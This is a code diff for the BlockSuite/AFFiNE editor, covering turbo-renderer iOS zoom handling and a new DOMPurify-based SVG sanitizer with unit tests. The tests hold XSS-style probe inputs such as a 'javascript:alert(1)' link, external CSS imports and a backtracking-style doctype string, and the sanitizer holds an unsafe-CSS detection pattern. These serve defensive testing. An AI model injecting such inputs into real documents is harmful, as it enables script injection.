     if (width > 10 && height > 5) {
-      ctx.strokeStyle = 'rgba(150, 150, 150, 0.3)';
+      ctx.strokeStyle = strokeColor;
       ctx.strokeRect(x, y, width, height);
     }
 
     if (node.children.length > 0) {
-      node.children.forEach(childNode => paintNode(childNode, depth + 1));
+      node.children.forEach(childNode => paintNode(childNode));
     }
   };
 

blocksuite/affine/gfx/turbo-renderer/src/turbo-renderer.ts

@@ -1,11 +1,14 @@
 import type { Container } from '@blocksuite/global/di';
 import { DisposableGroup } from '@blocksuite/global/disposable';
+import { IS_IOS } from '@blocksuite/global/env';
 import { ConfigExtensionFactory } from '@blocksuite/std';
 import {
+  getEffectiveDpr,
   type GfxController,
   GfxExtension,
   GfxExtensionIdentifier,
   type GfxViewportElement,
+  viewportRuntimeConfig,
 } from '@blocksuite/std/gfx';
 import {
   BehaviorSubject,
@@ -34,6 +37,26 @@ import type {
 } from './types';
 
 const debug = false; // Toggle for debug logs
+const IOS_LOW_ZOOM_SURVIVAL_THRESHOLD = 0.5;
+
+export function shouldPreferBitmapCacheDuringLowZoomGesture(params: {
+  isIOS: boolean;
+  zoom: number;
+  hasBitmap: boolean;
+}) {
+  return (
+    params.isIOS &&
+    params.zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD &&
+    params.hasBitmap
+  );
+}
+
+export function shouldIdleTurboBlocksDuringZooming(params: {
+  isIOS: boolean;
+  zoom: number;
+}) {
+  return !(params.isIOS && params.zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD);
+}
 
 const defaultOptions = {
   zoomThreshold: 1, // With high enough zoom, fallback to DOM rendering
@@ -147,7 +170,7 @@ export class ViewportTurboRendererExtension extends GfxExtension {
 
     this.viewport.elementReady.pipe(take(1)).subscribe(element => {
       this.viewportElement = element;
-      syncCanvasSize(this.canvas, this.std.host);
+      syncCanvasSize(this.canvas, this.std.host, this.viewport.zoom);
       this.state$.next('pending');
 
       this.disposables.add(
@@ -156,6 +179,12 @@ export class ViewportTurboRendererExtension extends GfxExtension {
 
       this.disposables.add(
         this.viewport.viewportUpdated.subscribe(() => {
+          if (
+            this.viewport.SKIP_REFRESH_DURING_GESTURE &&
+            (this.viewport.panning$.value || this.viewport.zooming$.value)
+          ) {
+            return;
+          }
           this.refresh().catch(console.error);
         })
       );
@@ -166,7 +195,9 @@ export class ViewportTurboRendererExtension extends GfxExtension {
             tap(isZooming => {
               this.debugLog(`Zooming signal changed: ${isZooming}`);
               if (isZooming) {
-                this.state$.next('zooming');
+                if (!this.viewport.SKIP_REFRESH_DURING_GESTURE) {
+                  this.state$.next('zooming');
+                }
               } else if (this.state$.value === 'zooming') {
                 this.clearOptimizedBlocks();
                 this.isRecentlyZoomed$.next(true);
@@ -183,6 +214,45 @@ export class ViewportTurboRendererExtension extends GfxExtension {
           )
           .subscribe()
       );
+
+      // Post-gesture refresh for SKIP mode
+      if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
+        let pendingTimerId: ReturnType<typeof setTimeout> | null = null;
+
+        const cancelRefresh = () => {
+          if (pendingTimerId !== null) {
+            clearTimeout(pendingTimerId);
+            pendingTimerId = null;
+          }
+        };
+
+        const scheduleRefresh = () => {
+          cancelRefresh();
+          pendingTimerId = setTimeout(() => {
+            pendingTimerId = null;
+            if (
+              !this.viewport.panning$.value &&
+              !this.viewport.zooming$.value
+            ) {
+              this.refresh().catch(console.error);
+            }
+          }, viewportRuntimeConfig.POST_GESTURE_REFRESH_DELAY);
+        };
+
+        this.disposables.add(
+          this.viewport.panning$.subscribe(panning => {
+            if (panning) cancelRefresh();
+            else if (!this.viewport.zooming$.value) scheduleRefresh();
+          })
+        );
+        this.disposables.add(
+          this.viewport.zooming$.subscribe(zooming => {
+            if (zooming) cancelRefresh();
+            else if (!this.viewport.panning$.value) scheduleRefresh();
+          })
+        );
+        this.disposables.add({ dispose: cancelRefresh });
+      }
     });
 
     // Handle selection and block updates
@@ -235,10 +305,22 @@ export class ViewportTurboRendererExtension extends GfxExtension {
       nextState = 'pending';
       this.clearOptimizedBlocks();
     } else if (this.isZooming()) {
-      this.debugLog('Currently zooming, using placeholder rendering');
       nextState = 'zooming';
-      this.paintPlaceholder();
-      this.updateOptimizedBlocks();
+      if (
+        shouldPreferBitmapCacheDuringLowZoomGesture({
+          isIOS: IS_IOS,
+          zoom: this.viewport.zoom,
+          hasBitmap: !!this.bitmap,
+        })
+      ) {
+        this.debugLog('Currently zooming, reusing cached bitmap');
+        this.clearOptimizedBlocks();
+        this.drawCachedBitmap();
+      } else {
+        this.debugLog('Currently zooming, using placeholder rendering');
+        this.paintPlaceholder();
+        this.updateOptimizedBlocks();
+      }
     } else if (this.canUseBitmapCache()) {
       this.debugLog('Using cached bitmap');
       nextState = 'ready';
@@ -286,7 +368,7 @@ export class ViewportTurboRendererExtension extends GfxExtension {
       }
 
       const layout = this.layoutCache;
-      const dpr = window.devicePixelRatio;
+      const dpr = getEffectiveDpr(this.viewport.zoom);
       const currentVersion = this.layoutVersion;
 
       this.debugLog(`Requesting bitmap painting (version=${currentVersion})`);
@@ -368,12 +450,14 @@ export class ViewportTurboRendererExtension extends GfxExtension {
       layout.overallRect.y
     );
 
+    const dpr = getEffectiveDpr(this.viewport.zoom);
+
     ctx.drawImage(
       bitmap,
-      layoutViewCoord[0] * window.devicePixelRatio,
-      layoutViewCoord[1] * window.devicePixelRatio,
-      layout.overallRect.w * window.devicePixelRatio * this.viewport.zoom,
-      layout.overallRect.h * window.devicePixelRatio * this.viewport.zoom
+      layoutViewCoord[0] * dpr,
+      layoutViewCoord[1] * dpr,
+      layout.overallRect.w * dpr * this.viewport.zoom,
+      layout.overallRect.h * dpr * this.viewport.zoom
     );
 
     this.debugLog('Bitmap drawn to canvas');
@@ -389,6 +473,16 @@ export class ViewportTurboRendererExtension extends GfxExtension {
 
   private updateOptimizedBlocks() {
     if (!this.canOptimize()) return;
+    if (
+      !shouldIdleTurboBlocksDuringZooming({
+        isIOS: IS_IOS,
+        zoom: this.viewport.zoom,
+      })
+    ) {
+      this.clearOptimizedBlocks();
+      return;
+    }
+
     requestAnimationFrame(() => {
       if (!this.viewportElement || !this.layoutCache) return;
       const blockElements = this.viewportElement.getModelsInViewport();
@@ -416,7 +510,7 @@ export class ViewportTurboRendererExtension extends GfxExtension {
 
   private handleResize() {
     this.debugLog('Container resized, syncing canvas size');
-    syncCanvasSize(this.canvas, this.std.host);
+    syncCanvasSize(this.canvas, this.std.host, this.viewport.zoom);
     this.invalidate();
     this.refresh$.next();
   }

blocksuite/affine/gfx/turbo-renderer/tsconfig.json

@@ -7,6 +7,7 @@
   },
   "include": ["./src"],
   "references": [
+    { "path": "../../shared" },
     { "path": "../../../framework/global" },
     { "path": "../../../framework/std" },
     { "path": "../../../framework/store" }

blocksuite/affine/inlines/footnote/package.json

@@ -25,9 +25,9 @@
     "zod": "^3.25.76"
   },
   "devDependencies": {
-    "@vitest/browser-playwright": "^4.0.18",
+    "@vitest/browser-playwright": "^4.1.8",
     "playwright": "=1.58.2",
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "exports": {
     ".": "./src/index.ts",

blocksuite/affine/inlines/link/src/link-node/affine-link.ts

@@ -160,7 +160,6 @@ export class AffineLink extends WithDisposable(ShadowlessElement) {
     const linkStyle = {
       color: 'var(--affine-link-color)',
       fill: 'var(--affine-link-color)',
-      'text-decoration': 'none',
       cursor: 'pointer',
     };
 

blocksuite/affine/inlines/preset/src/keymap/format.ts

@@ -1,8 +1,4 @@
-import {
-  type BlockStdScope,
-  TextSelection,
-  type UIEventHandler,
-} from '@blocksuite/std';
+import { type BlockStdScope, type UIEventHandler } from '@blocksuite/std';
 
 import { textFormatConfigs } from '../command/index.js';
 
@@ -14,12 +10,9 @@ export const textFormatKeymap = (std: BlockStdScope) =>
         return {
           ...acc,
           [config.hotkey as string]: ctx => {
-            const { store: doc, selection } = std;
+            const { store: doc } = std;
             if (doc.readonly) return;
 
-            const textSelection = selection.find(TextSelection);
-            if (!textSelection) return;
-
             const allowed = config.textChecker?.(std.host) ?? true;
             if (!allowed) return;
 

blocksuite/affine/shared/package.json

@@ -23,7 +23,7 @@
     "@types/lodash-es": "^4.17.12",
     "@types/mdast": "^4.0.4",
     "bytes": "^3.1.2",
-    "dompurify": "^3.3.0",
+    "dompurify": "^3.4.11",
     "fractional-indexing": "^3.2.0",
     "lit": "^3.2.0",
     "lodash-es": "^4.17.23",
@@ -46,6 +46,7 @@
     "remark-parse": "^11.0.0",
     "remark-stringify": "^11.0.0",
     "rxjs": "^7.8.2",
+    "tldts": "^7.0.19",
     "ts-pattern": "^5.1.0",
     "unified": "^11.0.5",
     "unist-util-visit": "^5.0.0",
@@ -73,7 +74,7 @@
   ],
   "devDependencies": {
     "@types/pdfmake": "^0.2.12",
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   },
   "version": "0.26.3"
 }

blocksuite/affine/shared/src/__tests__/utils/svg.unit.spec.ts

@@ -0,0 +1,191 @@
+/**
+ * @vitest-environment happy-dom
+ */
+import { describe, expect, test } from 'vitest';
+
+import { sanitizeSvg } from '../../utils/svg.js';
+
+type HappyDOMWindow = Window & {
+  happyDOM: {
+    setURL: (url: string) => void;
+  };
+};
+
+function setLocation(url: string) {
+  (window as unknown as HappyDOMWindow).happyDOM.setURL(url);
+}
+
+function svgDataUrl(svg: string) {
+  const bytes = new TextEncoder().encode(svg);
+  let binary = '';
+  bytes.forEach(byte => {
+    binary += String.fromCharCode(byte);
+  });
+  return `data:image/svg+xml;base64,${btoa(binary)}`;
+}
+
+function decodeSvgDataUrl(dataUrl: string) {
+  const base64 = dataUrl.split(',')[1];
+  return new TextDecoder().decode(
+    Uint8Array.from(atob(base64), char => char.charCodeAt(0))
+  );
+}
+
+describe('sanitizeSvg', () => {
+  test('wraps DOMPurify svg fragments back into an svg root', () => {
+    const sanitized = sanitizeSvg(
+      '<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"><rect width="100" height="100"></rect></svg>'
+    );
+
+    expect(sanitized).toContain('<svg');
+    expect(sanitized).toContain('width="100"');
+    expect(sanitized).toContain('<rect');
+  });
+
+  test('accepts svg documents with xml and doctype prefixes', () => {
+    const sanitized = sanitizeSvg(`<?xml version="1.0" standalone="no"?>
+      <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+      <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
+        <rect width="100" height="100"></rect>
+      </svg>`);
+
+    expect(sanitized).toContain('<svg');
+    expect(sanitized).toContain('width="100"');
+    expect(sanitized).toContain('<rect');
+    expect(sanitized).not.toContain('<!DOCTYPE');
+  });
+
+  test('rejects non-svg roots', () => {
+    expect(sanitizeSvg('<div><svg></svg></div>')).toBe('');
+  });
+
+  test('rejects malformed doctype prefixes without regexp backtracking', () => {
+    const maliciousPrefix = '<!doctype' + '?><!doctype'.repeat(10_000);
+
+    expect(sanitizeSvg(`${maliciousPrefix}<div></div>`)).toBe('');
+  });
+
+  test('keeps internal glyph references and safe image data urls', () => {
+    const sanitized = sanitizeSvg(`
+      <svg xmlns="http://www.w3.org/2000/svg">
+        <defs><path id="glyph-a" d="M0 0h10v10z"></path></defs>
+        <use href="#glyph-a"></use>
+        <use xlink:href="#glyph-a"></use>
+        <a xlink:href="https://typst.app/docs/tutorial"><path d="M0 0h10v10z"></path></a>
+        <image href="data:image/png;base64,AAAA" width="10" height="10"></image>
+      </svg>
+    `);
+
+    expect(sanitized).toContain('href="#glyph-a"');
+    expect(sanitized).toContain('xlink:href="#glyph-a"');
+    expect(sanitized).toContain('xlink:href="https://typst.app/docs/tutorial"');
+    expect(sanitized).toContain('data:image/png;base64,AAAA');
+  });
+
+  test('removes external glyph references and unsafe css', () => {
+    const sanitized = sanitizeSvg(`
+      <svg xmlns="http://www.w3.org/2000/svg">
+        <style>@import "https://example.com/style.css"; .a { fill: #000; }</style>
+        <use href="https://example.com/glyph.svg#x"></use>
+        <use xlink:href="https://example.com/glyph.svg#x"></use>
+        <a xlink:href="javascript:alert(1)"><path d="M0 0h10v10z"></path></a>
+        <image href="https://example.com/image.png" width="10" height="10"></image>
+        <path style="fill: url(https://example.com/pattern.svg#x)" d="M0 0h10v10z"></path>
+      </svg>
+    `);
+
+    expect(sanitized).not.toContain('https://example.com');
+    expect(sanitized).not.toContain('javascript:');
+    expect(sanitized).not.toContain('@import');
+    expect(sanitized).not.toContain('url(');
+  });
+
+  test('removes links sharing the current registrable domain', () => {
+    setLocation('https://sub.example.co.uk/workspace');
+
+    const sanitized = sanitizeSvg(`
+      <svg xmlns="http://www.w3.org/2000/svg">
+        <a xlink:href="https://sub.example.co.uk/docs"><path d="M0 0h10v10z"></path></a>
+        <a href="https://other.example.co.uk/docs"><path d="M0 0h10v10z"></path></a>
+        <a xlink:href="https://example.com/docs"><path d="M0 0h10v10z"></path></a>
+      </svg>
+    `);
+
+    expect(sanitized).not.toContain('https://sub.example.co.uk/docs');
+    expect(sanitized).not.toContain('https://other.example.co.uk/docs');
+    expect(sanitized).toContain('https://example.com/docs');
+  });
+
+  test('keeps private suffix sibling domains separate', () => {
+    setLocation('https://foo.github.io/workspace');
+
+    const sanitized = sanitizeSvg(`
+      <svg xmlns="http://www.w3.org/2000/svg">
+        <a xlink:href="https://foo.github.io/docs"><path d="M0 0h10v10z"></path></a>
+        <a href="https://bar.github.io/docs"><path d="M0 0h10v10z"></path></a>
+      </svg>
+    `);
+
+    expect(sanitized).not.toContain('https://foo.github.io/docs');
+    expect(sanitized).toContain('https://bar.github.io/docs');
+  });
+
+  test('handles local hostnames by exact hostname', () => {
+    setLocation('http://localhost:3000/workspace');
+
+    const sanitized = sanitizeSvg(`
+      <svg xmlns="http://www.w3.org/2000/svg">
+        <a xlink:href="http://localhost:8080/docs"><path d="M0 0h10v10z"></path></a>
+        <a href="http://share.localhost/docs"><path d="M0 0h10v10z"></path></a>
+        <a href="http://127.0.0.1/docs"><path d="M0 0h10v10z"></path></a>
+      </svg>
+    `);
+
+    expect(sanitized).not.toContain('http://localhost:8080/docs');
+    expect(sanitized).toContain('http://share.localhost/docs');
+    expect(sanitized).toContain('http://127.0.0.1/docs');
+  });
+
+  test('recursively sanitizes svg images', () => {
+    const nestedSvg = svgDataUrl(
+      '<svg xmlns="http://www.w3.org/2000/svg"><defs><path id="glyph-a" d="M0 0h10v10z"></path></defs><use href="#glyph-a"></use><use href="https://example.com/glyph.svg#x"></use></svg>'
+    );
+    const sanitized = sanitizeSvg(`
+      <svg xmlns="http://www.w3.org/2000/svg">
+        <image href="${nestedSvg}" width="10" height="10"></image>
+      </svg>
+    `);
+    const sanitizedImageHref = sanitized.match(/href="([^"]+)"/)?.[1];
+
+    expect(sanitizedImageHref).toMatch(/^data:image\/svg\+xml;base64,/);
+    expect(decodeSvgDataUrl(sanitizedImageHref ?? '')).toContain('<svg');
+    expect(decodeSvgDataUrl(sanitizedImageHref ?? '')).toContain('#glyph-a');
+    expect(decodeSvgDataUrl(sanitizedImageHref ?? '')).not.toContain(
+      'https://example.com'
+    );
+  });
+
+  test('removes svg images nested deeper than two levels', () => {
+    const thirdLevelSvg = svgDataUrl(
+      '<svg xmlns="http://www.w3.org/2000/svg"><rect width="10" height="10"></rect></svg>'
+    );
+    const secondLevelSvg = svgDataUrl(
+      `<svg xmlns="http://www.w3.org/2000/svg"><image href="${thirdLevelSvg}"></image></svg>`
+    );
+    const firstLevelSvg = svgDataUrl(
+      `<svg xmlns="http://www.w3.org/2000/svg"><image href="${secondLevelSvg}"></image></svg>`
+    );
+    const sanitized = sanitizeSvg(`
+      <svg xmlns="http://www.w3.org/2000/svg">
+        <image href="${firstLevelSvg}"></image>
+      </svg>
+    `);
+    const firstLevelHref = sanitized.match(/href="([^"]+)"/)?.[1];
+    const firstLevelSanitizedSvg = decodeSvgDataUrl(firstLevelHref ?? '');
+    const secondLevelHref = firstLevelSanitizedSvg.match(/href="([^"]+)"/)?.[1];
+    const secondLevelSanitizedSvg = decodeSvgDataUrl(secondLevelHref ?? '');
+
+    expect(firstLevelSanitizedSvg).toContain('<image');
+    expect(secondLevelSanitizedSvg).not.toContain('<image');
+  });
+});

blocksuite/affine/shared/src/adapters/pdf/pdf.ts

@@ -20,7 +20,6 @@ import {
   type ToSliceSnapshotPayload,
   type Transformer,
 } from '@blocksuite/store';
-import DOMPurify from 'dompurify';
 import pdfMake from 'pdfmake/build/pdfmake';
 import type {
   Content,
@@ -29,6 +28,7 @@ import type {
 } from 'pdfmake/interfaces';
 
 import { getNumberPrefix } from '../../utils';
+import { sanitizeSvg } from '../../utils/svg.js';
 import { resolveCssVariable } from './css-utils.js';
 import { extractTextWithInline } from './delta-converter.js';
 import {
@@ -746,9 +746,8 @@ export class PdfAdapter extends BaseAdapter<PdfAdapterFile> {
       const trimmedText = text.trim();
 
       if (trimmedText.startsWith('<svg')) {
-        const svgContent = DOMPurify.sanitize(trimmedText, {
-          USE_PROFILES: { svg: true },
-        });
+        const svgContent = sanitizeSvg(trimmedText);
+        if (!svgContent) throw new Error('Invalid SVG image asset');
         const svgDimensions = extractSvgDimensions(svgContent);
         const dimensions = calculateImageDimensions(
           blockWidth,

blocksuite/affine/shared/src/commands/block-crud/get-selected-blocks.ts

@@ -129,32 +129,35 @@ export const getSelectedBlocksCommand: Command<
     dirtyResult = dirtyResult.filter(ctx.filter);
   }
 
+  const getModelPath = (el: BlockComponent) => {
+    const path: number[] = [];
+    let model = el.model;
+    while (model) {
+      const parent = ctx.std.store.getParent(model.id);
+      if (!parent) break;
+      path.unshift(parent.children.findIndex(child => child.id === model.id));
+      model = parent;
+    }
+    return path;
+  };
+
+  const compareByModelPath = (a: BlockComponent, b: BlockComponent) => {
+    if (a === b) return 0;
+    const aPath = getModelPath(a);
+    const bPath = getModelPath(b);
+    const length = Math.min(aPath.length, bPath.length);
+    for (let i = 0; i < length; i++) {
+      const diff = aPath[i] - bPath[i];
+      if (diff !== 0) return diff;
+    }
+    return aPath.length - bPath.length;
+  };
+
   // remove duplicate elements
   const result: BlockComponent[] = dirtyResult
     .filter((el, index) => dirtyResult.indexOf(el) === index)
-    // sort by document position
-    .sort((a, b) => {
-      if (a === b) {
-        return 0;
-      }
-
-      const position = a.compareDocumentPosition(b);
-      if (
-        position & Node.DOCUMENT_POSITION_FOLLOWING ||
-        position & Node.DOCUMENT_POSITION_CONTAINED_BY
-      ) {
-        return -1;
-      }
-
-      if (
-        position & Node.DOCUMENT_POSITION_PRECEDING ||
-        position & Node.DOCUMENT_POSITION_CONTAINS
-      ) {
-        return 1;
-      }
-
-      return 0;
-    });
+    // sort by model tree position, which is the order used for paste/export
+    .sort(compareByModelPath);
 
   if (result.length === 0) return;
 

blocksuite/affine/shared/src/commands/model-crud/get-selected-models.ts

@@ -58,8 +58,7 @@ export const getSelectedModelsCommand: Command<
     ])
     .pipe(getSelectedBlocksCommand, { types, mode })
     .pipe(ctx => {
-      const { selectedBlocks = [] } = ctx;
-      selectedModels.push(...selectedBlocks.map(el => el.model));
+      selectedModels.push(...ctx.selectedBlocks.map(el => el.model));
     })
     .run();
 

blocksuite/affine/shared/src/theme/index.ts

@@ -1 +1,2 @@
 export * from './css-variables.js';
+export * from './placeholder-style.js';

blocksuite/affine/shared/src/theme/placeholder-style.ts

@@ -0,0 +1,19 @@
+import { ColorScheme } from '@blocksuite/affine-model';
+
+export function inferColorSchemeFromThemeMode(
+  themeMode?: string | null
+): ColorScheme {
+  return themeMode === 'dark' ? ColorScheme.Dark : ColorScheme.Light;
+}
+
+export function getAffinePlaceholderFillColor(colorScheme: ColorScheme) {
+  return colorScheme === ColorScheme.Dark
+    ? 'rgba(255, 255, 255, 0.08)'
+    : 'rgba(0, 0, 0, 0.04)';
+}
+
+export function getAffinePlaceholderStrokeColor(colorScheme: ColorScheme) {
+  return colorScheme === ColorScheme.Dark
+    ? 'rgba(255, 255, 255, 0.04)'
+    : 'rgba(0, 0, 0, 0.02)';
+}

blocksuite/affine/shared/src/utils/index.ts

@@ -23,6 +23,7 @@ export * from './reordering';
 export * from './safe-html';
 export * from './signal';
 export * from './string';
+export * from './svg';
 export * from './title';
 export * from './url';
 export * from './virtual-padding';

blocksuite/affine/shared/src/utils/svg.ts

@@ -0,0 +1,294 @@
+import type { Config } from 'dompurify';
+import DOMPurify from 'dompurify';
+import { parse } from 'tldts';
+
+type SanitizeSvgOptions = {
+  svg?: Config;
+  foreignObjectHtml?: Config;
+};
+
+const MAX_NESTED_SVG_IMAGE_DEPTH = 2;
+
+const DEFAULT_SVG_SANITIZE_CONFIG: Config = {
+  USE_PROFILES: { svg: true },
+  ADD_TAGS: ['use'],
+  ADD_ATTR: ['href', 'xlink:href', 'class', 'style', 'id'],
+};
+
+const DEFAULT_FOREIGN_OBJECT_HTML_SANITIZE_CONFIG: Config = {
+  USE_PROFILES: { html: true },
+};
+
+const SAFE_LINK_PROTOCOLS = new Set(['http:', 'https:', 'mailto:']);
+const SVG_DATA_URL_PATTERN =
+  /^data:image\/svg\+xml(?:;charset=[^;,]+)?(?<base64>;base64)?,(?<data>[\s\S]*)$/i;
+const SAFE_IMAGE_DATA_URL_PATTERN =
+  /^data:image\/(?:png|jpe?g|gif|webp|svg\+xml);base64,[a-z0-9+/=]+$/i;
+const UNSAFE_CSS_PATTERN =
+  /(?:url\s*\(|@import|javascript\s*:|expression\s*\(|-moz-binding)/i;
+
+const SVG_ROOT_ATTRIBUTES = [
+  'class',
+  'data-height',
+  'data-width',
+  'height',
+  'preserveAspectRatio',
+  'viewBox',
+  'width',
+  'xmlns',
+  'xmlns:h5',
+  'xmlns:xlink',
+];
+
+function getAttribute(element: Element, attribute: string) {
+  return (
+    element.getAttribute(attribute) ??
+    element.getAttribute(attribute.toLowerCase())
+  );
+}
+
+function getSvgSanitizeConfig(options?: SanitizeSvgOptions) {
+  return {
+    ...DEFAULT_SVG_SANITIZE_CONFIG,
+    ...options?.svg,
+  };
+}
+
+function getForeignObjectHtmlSanitizeConfig(options?: SanitizeSvgOptions) {
+  return {
+    ...DEFAULT_FOREIGN_OBJECT_HTML_SANITIZE_CONFIG,
+    ...options?.foreignObjectHtml,
+  };
+}
+
+function isXmlWhitespace(char: string) {
+  return (
+    char === ' ' ||
+    char === '\n' ||
+    char === '\r' ||
+    char === '\t' ||
+    char === '\f'
+  );
+}
+
+function skipXmlWhitespace(value: string, index: number) {
+  while (index < value.length && isXmlWhitespace(value[index])) {
+    index++;
+  }
+  return index;
+}
+
+function startsWithIgnoreCase(value: string, search: string, index: number) {
+  return value.slice(index, index + search.length).toLowerCase() === search;
+}
+
+function getSvgRootStartIndex(value: string) {
+  let index = skipXmlWhitespace(value, 0);
+
+  if (startsWithIgnoreCase(value, '<?xml', index)) {
+    const declarationEnd = value.indexOf('?>', index + 5);
+    if (declarationEnd === -1) return -1;
+    index = skipXmlWhitespace(value, declarationEnd + 2);
+  }
+
+  if (startsWithIgnoreCase(value, '<!doctype', index)) {
+    const doctypeEnd = value.indexOf('>', index + 9);
+    if (doctypeEnd === -1) return -1;
+    index = skipXmlWhitespace(value, doctypeEnd + 1);
+  }
+
+  if (!startsWithIgnoreCase(value, '<svg', index)) return -1;
+
+  const next = value[index + 4];
+  return next === '>' || (next !== undefined && isXmlWhitespace(next))
+    ? index
+    : -1;
+}
+
+function hasSvgRoot(value: string) {
+  return getSvgRootStartIndex(value) !== -1;
+}
+
+function getOriginalSvgRoot(svg: string, parser: DOMParser) {
+  const root = parser.parseFromString(svg, 'image/svg+xml').documentElement;
+  if (root?.tagName.toLowerCase() === 'svg') {
+    return root;
+  }
+  if (!hasSvgRoot(svg)) {
+    return null;
+  }
+  return parser.parseFromString(svg, 'text/html').querySelector('svg');
+}
+
+function ensureSvgRoot(
+  originalRoot: Element | null,
+  sanitized: string,
+  parser: DOMParser
+) {
+  if (hasSvgRoot(sanitized)) {
+    const sanitizedDoc = parser.parseFromString(sanitized, 'image/svg+xml');
+    const sanitizedRoot = sanitizedDoc.documentElement;
+    return sanitizedRoot?.tagName.toLowerCase() === 'svg'
+      ? sanitizedRoot
+      : null;
+  }
+
+  const svgDoc = parser.parseFromString('<svg></svg>', 'image/svg+xml');
+  const svgRoot = svgDoc.documentElement;
+  SVG_ROOT_ATTRIBUTES.forEach(attribute => {
+    const value = originalRoot ? getAttribute(originalRoot, attribute) : null;
+    if (value) {
+      svgRoot.setAttribute(attribute, value);
+    }
+  });
+  svgRoot.innerHTML = sanitized;
+  return svgRoot;
+}
+
+function sanitizeForeignObjects(
+  root: ParentNode,
+  options?: SanitizeSvgOptions
+) {
+  root.querySelectorAll('foreignObject, foreignobject').forEach(element => {
+    element.innerHTML = DOMPurify.sanitize(
+      element.innerHTML,
+      getForeignObjectHtmlSanitizeConfig(options)
+    );
+  });
+}
+
+function getSiteDomain(hostname: string) {
+  return (
+    parse(hostname, { allowPrivateDomains: true }).domain ??
+    hostname.toLowerCase()
+  );
+}
+
+function isSameSiteDomain(url: URL) {
+  if (typeof location === 'undefined') return false;
+  return getSiteDomain(url.hostname) === getSiteDomain(location.hostname);
+}
+
+function isSafeLinkUrl(value: string) {
+  try {
+    const url = new URL(value);
+    return SAFE_LINK_PROTOCOLS.has(url.protocol) && !isSameSiteDomain(url);
+  } catch {
+    return false;
+  }
+}
+
+function isSafeHref(element: Element, value: string) {
+  if (value.startsWith('#')) return true;
+  const tagName = element.tagName.toLowerCase();
+  if (tagName === 'use') return false;
+  if (tagName === 'image') return SAFE_IMAGE_DATA_URL_PATTERN.test(value);
+  if (tagName === 'a') return isSafeLinkUrl(value);
+  return false;
+}
+
+function decodeSvgDataUrl(value: string) {
+  const groups = value.match(SVG_DATA_URL_PATTERN)?.groups;
+  if (!groups) return null;
+
+  try {
+    if (groups.base64) {
+      return new TextDecoder().decode(
+        Uint8Array.from(atob(groups.data), char => char.charCodeAt(0))
+      );
+    }
+    return decodeURIComponent(groups.data);
+  } catch {
+    return null;
+  }
+}
+
+function encodeSvgDataUrl(svg: string) {
+  const binary = Array.from(new TextEncoder().encode(svg), byte =>
+    String.fromCharCode(byte)
+  ).join('');
+  return `data:image/svg+xml;base64,${btoa(binary)}`;
+}
+
+function getHrefAttributes(element: Element) {
+  return Array.from(element.attributes).filter(
+    attribute => attribute.name === 'href' || attribute.name === 'xlink:href'
+  );
+}
+
+function tightenSvgTree(
+  root: ParentNode,
+  options: SanitizeSvgOptions | undefined,
+  depth: number
+) {
+  root.querySelectorAll('*').forEach(element => {
+    getHrefAttributes(element).forEach(attribute => {
+      const href = attribute.value.trim();
+      const nestedSvg =
+        element.tagName.toLowerCase() === 'image'
+          ? decodeSvgDataUrl(href)
+          : null;
+
+      if (nestedSvg !== null) {
+        if (depth < MAX_NESTED_SVG_IMAGE_DEPTH) {
+          const sanitized = sanitizeSvgWithDepth(nestedSvg, options, depth + 1);
+          if (sanitized) {
+            element.setAttribute(attribute.name, encodeSvgDataUrl(sanitized));
+            return;
+          }
+        }
+        element.remove();
+      } else if (!isSafeHref(element, href)) {
+        element.removeAttribute(attribute.name);
+      }
+    });
+
+    const style = element.getAttribute('style');
+    if (style && UNSAFE_CSS_PATTERN.test(style)) {
+      element.removeAttribute('style');
+    }
+
+    if (
+      element.tagName.toLowerCase() === 'style' &&
+      UNSAFE_CSS_PATTERN.test(element.textContent ?? '')
+    ) {
+      element.remove();
+    }
+  });
+}
+
+export function sanitizeSvg(svg: string, options?: SanitizeSvgOptions): string {
+  return sanitizeSvgWithDepth(svg, options, 0);
+}
+
+function sanitizeSvgWithDepth(
+  svg: string,
+  options: SanitizeSvgOptions | undefined,
+  depth: number
+): string {
+  const svgConfig = getSvgSanitizeConfig(options);
+
+  if (
+    typeof DOMParser === 'undefined' ||
+    typeof XMLSerializer === 'undefined'
+  ) {
+    const sanitized = DOMPurify.sanitize(svg, svgConfig);
+
+    if (typeof sanitized !== 'string' || !hasSvgRoot(sanitized)) {
+      return '';
+    }
+    return sanitized.trim();
+  }
+
+  const parser = new DOMParser();
+  const originalRoot = getOriginalSvgRoot(svg, parser);
+  if (!originalRoot) return '';
+
+  const sanitized = DOMPurify.sanitize(svg, svgConfig);
+  if (typeof sanitized !== 'string') return '';
+  const sanitizedRoot = ensureSvgRoot(originalRoot, sanitized, parser);
+  if (!sanitizedRoot) return '';
+  sanitizeForeignObjects(sanitizedRoot, options);
+  tightenSvgTree(sanitizedRoot, options, depth);
+  return new XMLSerializer().serializeToString(sanitizedRoot).trim();
+}

blocksuite/affine/shared/vitest.config.ts

@@ -1,3 +1,5 @@
+import { fileURLToPath } from 'node:url';
+
 import { defineConfig } from 'vitest/config';
 
 export default defineConfig({
@@ -5,7 +7,9 @@ export default defineConfig({
     target: 'es2018',
   },
   test: {
-    globalSetup: '../../../scripts/vitest-global.js',
+    globalSetup: fileURLToPath(
+      new URL('../../../scripts/vitest-global.js', import.meta.url)
+    ),
     include: ['src/__tests__/**/*.unit.spec.ts'],
     testTimeout: 1000,
     coverage: {

blocksuite/affine/widgets/drag-handle/package.json

@@ -19,6 +19,7 @@
     "@blocksuite/affine-components": "workspace:*",
     "@blocksuite/affine-ext-loader": "workspace:*",
     "@blocksuite/affine-model": "workspace:*",
+    "@blocksuite/affine-rich-text": "workspace:*",
     "@blocksuite/affine-shared": "workspace:*",
     "@blocksuite/global": "workspace:*",
     "@blocksuite/icons": "^2.2.17",

blocksuite/affine/widgets/drag-handle/src/components/add-block-widget.ts

@@ -0,0 +1,78 @@
+import { PlusIcon } from '@blocksuite/icons/lit';
+import { css, html, LitElement } from 'lit';
+import { property } from 'lit/decorators.js';
+
